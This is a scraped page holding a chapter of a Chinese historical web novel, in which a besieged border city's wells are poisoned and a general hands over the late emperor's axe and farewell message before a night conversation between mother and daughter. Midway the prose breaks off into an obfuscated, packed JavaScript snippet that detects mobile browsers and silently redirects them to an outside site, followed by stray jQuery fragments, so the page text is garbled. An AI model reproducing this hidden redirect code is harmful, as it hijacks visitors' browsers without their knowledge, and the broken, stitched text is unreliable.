默认冷灰
24号文字
方正启体

99.虚无卷·第十四章

作者:敲敲敲敲开心本书字数:K更新时间:
    14


    三个人里,李棋和纪由只见过欧阳冀一人,欧阳慎也只认识两人,但他认得中间那个人的盔甲。


    黑色的盔甲已经有了好几处破败,但欧阳慎还是一眼认出,这是英武军中的盔甲。


    “怎么回事?”欧阳慎快步朝身穿黑色盔甲的男人走去,话才问出口,男人也又上前一步,抓着欧阳慎的手气喘吁吁又急促说:“磐城出了叛徒,与胡人里应外合打了我们一个措手不及,还望欧阳大统领立刻出兵增援,救磐城与我伯父啊!”


    “什么?!”欧阳慎又急又怒,似乎是不敢相信,他原地转了个圈,这才冷静下来,抓着来人的脖子问,“磐城是英武军的主要驻地,少说三万兵马,怎么会被打得毫无还手之力?说!你究竟是奉谁的命令而来,欲把我等诱到何处?”


    来人一愣,随即,一个大男人,直接哭得一把鼻涕一把泪,“欧阳大统领明鉴,我乃英武军中军大将军庞驹子侄庞悦,英武军中军帐下骁骑营中右翼校尉是也,绝非奸细叛贼啊。”


    他说着,扯开盔甲,从中拿出一块被包裹得严实的精美的龙雕玉佩,“伯父说,这是陛下亲赐,欧阳大统领一看便知。”


    欧阳冀和另一人也反应过来,连忙上前劝他。


    庞驹也是一代传奇人物,最早是邹玙帐下一个最低等的兵士,彼时,他便已经年过四十。


    本是不得不应征入伍的乡野蛮人,平日带着些流氓在坊间以保护之名行强盗之事,勉强过活;谁料入了军中之后,越打越勇,几次得到邹玙赏识与提拔。


    后邹玙不幸离世,又跟随成武帝四处征战,虽不如邹杲年轻俊美传奇,但也是用兵如神、有勇有谋,是不得多得的虎将。


    在战胜之后、成武帝班师回朝之前,更是从龙武军中的五官中郎将一跃成为英武军中的中军大将军,与欧阳慎也是多年的老交情了。


    欧阳慎在看到玉佩的瞬间,就已经信了,一时又觉五雷轰顶。


    庞悦又说:“叛党丧尽天良,竟在多处水井中投下剧毒,我军将士与城中百姓死伤惨重,幸存者也大多丧失力气,再无力反抗。伯父虽已同时派人前往英武军其余驻地求援,但就怕他们生有二心,不救反攻,三万将士与磐城不复存在矣!”


    磐城和固城都是胡人进入中原的最后一道防线上的重要关口,尤其磐城易守难攻,若磐城落入胡人手中,大嬴将永远遭受胡人的威胁侵扰。


    听闻胡人在水中下了剧毒,李棋连忙上前询问,“那毒毒发具体是何种症状?幸存者现下具体又有何种状况?”


    庞悦这才发现李棋和纪由的存在,见两人都是女子,他又是一惊,一时也没直接回答,而是谨慎看向欧阳慎,“大统领,这二位是?”


    “神医,梁国公主李蕲。”欧阳慎道,“便是她治好了利州郡的疫病,你快快将症状说与她听。”


    闻言,庞悦又是一惊,但也不敢再拖延,连忙将他看到的症状一五一十说给李棋听。


    环视一圈,见烛火下有桌案和笔墨,李棋连忙道:“来这边说,我分身乏术,没时间与你同往,只能写一帖药方,你带回给军中军医以作参考。”


    “好好好。”庞悦感激不已,不敢有丝毫懈怠。


    欧阳慎则看向另一人,“速去召集三军将帅,到主帐商议援助磐城事宜。”


    欧阳冀见状,连忙道:“我也去。”


    但紧接着被欧阳慎叫住,“冀儿,为父另有重任给你。”


    欧阳冀一愣,另一人见状不敢耽搁,也不等他了,连忙跑出去先通知其余人。


    “父亲,何事?”


    欧阳慎没有立刻回答他,而是先转身看向纪由,“先前计划不变,还请纪姑娘在此等候片刻,我取些东西,很快回来。”


    纪由点头,示意他快去,而后转身朝李棋走去,跪坐在一旁为李棋研墨。


    欧阳冀更加困惑,但还是被欧阳慎叫走了。


    李棋笔耕不辍,多次修改删减,终于,在欧阳慎带着东西去而复返后不久,结合庞悦所说症状,写了一帖药方,并在每一味药材旁边做了简短的说明。


    只要懂点医药理论,便能根据其结合实际情况应变,快速找出可替代药材,从而快速配出解毒药方。


    庞悦看不懂,但还是选择相信,一张张珍重拿着,等着笔墨干透,生怕污了字迹、坏了大事。


    看了欧阳父子拿来的物件,在场三人都是一愣,但李棋很快沉下心来,将药方写完,才起身去看。


    纪由则先起身朝欧阳慎走去,欧阳慎和欧阳冀一人双手恭敬捧着一柄钺,脚边,还放着另外四名士兵抬来的两个大箱子。


    “这难道是……”


    不等纪由询问的话问出口,欧阳慎便肯定道:“没错,我手中捧着的正是陛下征战十余载所使用的玄金钺,脚边的箱子里是配套的玄金甲。”


    见纪由转而看向欧阳冀手中的,欧阳慎又说,“那是陛下亲赐给常胜王的金铜钺及配套金铜甲,陛下将此二者交予我时曾有言留给常胜王。”


    说话间,几人转头看向刚写完药方走过来的李棋和庞悦。


    在听到玄金钺时,庞悦就知道,接下来的话不是他能听的了。


    他珍重收起药方,同欧阳慎说了声去外面等候,在得到欧阳慎点头肯定后,立刻快步走了。


    确定庞悦走远,没有留在外边偷听,欧阳慎才看向李棋,道:“如今常胜王不在,李姑娘又是常胜王未过门的王妃,我便说与李姑娘,劳烦李姑娘代为转达给常胜王吧。”


    心情有些复杂,李棋沉默片刻,重重点下头。


    欧阳慎当即模仿起成武帝的口吻,一字不落,仿佛是成武帝亲自面对邹杲一般。


    “‘尘琛,阿杲,姜茭,这一路,你受苦了。坦言之,随着攻入赵国都城,朕曾在数个深夜忧虑你之去留。作为帝王,为大嬴江山社稷,在知晓你背着朕藏匿赵国皇嗣、秘密组建天下第一阁时,朕就该将你斩于三军阵前,以儆效尤的……然,你又是我义兄拂尘唯一的血脉。’”


    欧阳慎情绪之复杂,语气起伏停顿,就好像是成武帝在邹杲面前当面说的一般。


    “‘我们的过去太过诡异恐怖,你的母亲不愿你参与其中,定是不曾同你细说起过,这么想来,你听信谗言,并未雨绸缪,做出应对之策,也情有可原。并且,你还是靠自己血战出来的、货真价实的少年将军,是不得多的将帅之才。无论朕之后的皇帝之谁,有你在,无论这天下姓什么,这由我与我二位兄长以及众多军民之血汗所铸造的太平盛世,一定会真正开启。’”


    “‘阿杲,朕很累了,再没用御驾亲征的勇猛精力,这天下,便也只能交给你们了。这番话,不到十万火急的形势,你不会听到……朕早已交代过,见玄金钺与玄金甲,如见朕亲临,凡无二心者,皆当服从。即日起,便交由你了。至于你的金铜钺与金铜甲,既已赠送给你,去留与否,本该由你决定。卖了也好,给朕陪葬也罢…唯有一点,别熔了它,这是你我父子、君臣情谊之见证,更是朕九泉之下,见你父之底气。’”


    开始得突兀,停下得也急促,但面对李棋等人诧异复杂的目光,欧阳慎坦然道:“以上,便是陛下口述,要我传达给常胜王的话语了。”


    李棋和纪由一时都无言。


    静默片刻,欧阳慎才悲痛又道:“…或许,剩余的话,他是想自己当面对常胜王说吧。”


    一段直白朴素的留言,成武帝几乎将自己的内心全部对邹杲坦白,他对邹杲之爱护与重视,简直令人感动。


    李棋想起邹杲在船上的眼泪,不由想到,要是邹杲在这,听到这番话,还不知道要哭成什么样,但一定比欧阳冀还凶。


    察觉到李棋的注视,欧阳冀也有些难为情,但他父亲都双目湿润,何况是他。


    他背过身去,擦了擦眼泪。


    李棋含泪笑了笑,看向欧阳慎道:“我会一字不落,转达给邹杲听。”


    欧阳慎感激点点头,珍重将手中黑金色,但在烛火下又闪耀着赤色光芒的玄金钺递给李棋,他又拿出一封信和一个信物递给旁边的纪由,“调兵事宜我已经与我儿交代妥善,磐城决不能丢,我便先走一步。”


    两人自然也知道其中重要性,自然连连点头,示意欧阳慎先去。


    欧阳慎挥袖离去,步伐之矫健,和他一头花发形成了鲜明对比。


    目送欧阳慎离去,欧阳冀也调整好情绪,他看向二人道:“李姑娘,纪前辈,何时出发,欧阳冀但听二位调遣。”


    李棋连同他手中金灿灿的钺斧一同接过,别说,一把就很重了,两把,还真的压手,差点没拿住,欧阳冀连忙追上来想接过去。


    纪由见了,默不作声接过一把,李棋这才有力气说话,她问:“人马都在这个营地中吗?”


    说回正事,欧阳冀丝毫没有马虎,“人都在,另外三千马匹在城东马场。”


    李棋看向纪由,纪由道:“若真如玄影卫密信中所写,鄂阳的情况不容乐观,邹杲虽不是邹稷亲子,却也颇具威信,我们早到一刻,时局便对我们有利一分。”


    此话不假,鄂阳乃至全天下的大小官员和世家势力之中,最不缺的就是见风使舵之辈。


    若邹瑅真的不幸遇难,凭借邹杲成武帝义子的身份,还有邹杲过往在军中和民间的威信,他至少还能勉强占个正统之名,只要他出现,或多或少也能扭转些许局势。


    更重要的一点是,已经进入了冬季,离北方越近,越严寒,得趁完全冰冻之前尽快离开,否则,战马非但不能发挥优势,还会成为累赘。


    李棋当即看向欧阳冀,“劳烦少将军,还请立刻整备兵马,我们即刻出发。”


    欧阳冀显然也想到了这些,“二位且在帐中稍后,我们半个时辰后便发兵前往鄂阳增援。”


    李棋和纪由都点头,放下手中钺斧,亲自送欧阳冀出门。</p


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17031822|188740||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    >


    偌大的营地中已经是灯火通明,已经有兵马在往营地外奔波,应该是去援助磐城的人马。


    李棋看着忧心不已,纪由始终是经历了更多,她捏捏李棋的肩膀,温声说:“趁还有时间,先填饱肚子。”


    欧阳冀的营帐中烧着火的,火堆之上,还悬挂有一装着水的铜壶。


    李棋也知道其中道理,也只得跟着转身回到营帐中,拿出干粮,就着热水吃下去。


    看着旁边的两个箱子和箱子上的两把钺斧,李棋总是不由得想起邹杲、师兄子瞮,还有只是远远看过两面的成武帝。


    纪由尽收眼底,许久,才轻声开口,明知故问:“绡绡,你在想什么呢?”


    闻声,李棋猛然回过神,她本想糊弄过去,但看着烛火下、面具后,纪由温柔耐心的双眼,李棋还是选择如实说来。


    “娘亲,我在想邹杲,成武帝,还有师兄子瞮。”


    纪由似乎只听到了子瞮二字,当即笑问,“想子瞮什么?”


    李棋不知道她为什么表现得如此轻松,也没问,只道:“既然我不是梁国血脉,这些年也没遇到过要替我复国的梁国旧臣,那么,便只有一个可能,他们早已知晓子瞮的身份,并且早就找到了他。”


    突然,李棋惊呼出声,“三年前子瞮宁可与师父断绝关系也要下山之事是不是有他们……”


    惊诧的话没说完,嘴巴被纪由捂住。


    纪由肯定又心疼无奈道:“没错,他们早就知晓,也早就找到了…子瞮,子瞮下山后,小敏也曾找到他,劝说他,但那时的子瞮要复国报仇的心太坚定了。”


    嘴巴上的手放松了,李棋很是担心,压低声音追问:“那我们就不再管他了吗,梁国灭国十多年,还能集结多少人马,他一定是弱势一方,或许不等我们到,他便沦为另外两方抗争的牺牲品了。”


    闻言,纪由倒是欣慰笑了笑,摸着李棋的脑袋说:“出海前,我曾命人给你爹爹送去过一封信,他彼时虽还在闭关练功,但以他的速度,出关后一定能及时赶到。”


    虽然记忆中没有纪由口中的爹爹的任何印象,但李棋就是放松许多。她不由得又问,“娘亲,你们年轻时是怎么样的啊?”


    不等纪由回答,李棋凑近了些,声音压得更低,“娘亲,你年轻时与成武帝有过很深厚的交情吗?他说的和邹杲的父亲经历的诡异恐怖的过往到底是什么啊,你知道吗?”


    纪由笑着摸摸她的脸,“一口气问这么多,你要我从何说起呢。”


    “也是哦。”李棋憨憨笑了笑,又蛮横不讲理抱住纪由的手臂,撒娇说,“娘亲既然知晓,就挨个说嘛,长话短说就好。”


    “你啊,聪明伶俐的,从小到大,还真是一点没变。”纪由笑着伸出手轻轻戳了戳她的脑袋,而后缓缓转头,视线最终停在熊熊燃烧的火堆上,眼神越发深沉。


    李棋也没催促打扰她,静静等着她的下文。


    很快,就听她说:“先说我和邹稷的交情吧。我和邹杲的父亲拂尘是旧相识,在认识邹稷与晚樱之前,他在金曲楼混吃混喝了很长一段时日。突然有一天,他说他要去做一件一旦做成了、就会很了不起的大事,结果再见到,就是他带着邹稷与邹杲的母亲晚樱四处躲避追杀,弄得好不狼狈,那次要不是遇到我们,他们不死也要重伤。”


    “邹稷其人,初见时很是高傲,也不爱说话,仿佛对什么都不屑一顾,就是很讨人厌烦的贵族子弟,你、小敏姨母尤其讨厌他,不过他也很讨厌你姨母,也算是相看两厌了。”


    李棋已经能想象到大概的画面了,她好奇问:“那娘亲你和小敏娘亲是因为什么对他改观的呢?”


    纪由沉思片刻,“都是些相处中的小事,后面发现,他对谁都冷漠,并非他出身在皇家而自视清高,也非觉得我们身份低贱不配与他为伍,而是不知道该如何和我们相处,甚至很怕我们拒绝他。”


    “至于你小敏娘亲对他真正改观的话,那就要从你小敏娘亲的爱人说起了。”


    李棋一惊,“爱人?!娘亲还有爱人?”


    纪由好笑敲了敲她的脑袋,“你都有爱人,你小敏娘亲为什么不能有?”


    “哎呀,娘亲,我的意思是没见过、也没听她讲过,所以才震惊!”


    纪由揉了揉刚刚轻敲的部位,眼里的好笑尽数转化为心疼,“你小敏娘亲其实才是最重感情的那个,但偏偏她的感情尤为坎坷,说来也怪我无能……”


    李棋听得也有些心疼,虽然她并不知情,她小声问:“为何这么说?”


    纪由转而看向她,似乎在纠结要不要告诉她,不等李棋撒娇或是怎样,营帐外传来说话声和急促的马蹄声,是欧阳冀去而复返了。


    欧阳冀跑得很急,“李姑娘,纪前辈,固城的河道上游也被人投了毒药,上百匹马为其所害……”


    李棋和纪由都是一惊,哪还有心情管过去,李棋连忙起身,“快带我去看看!”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)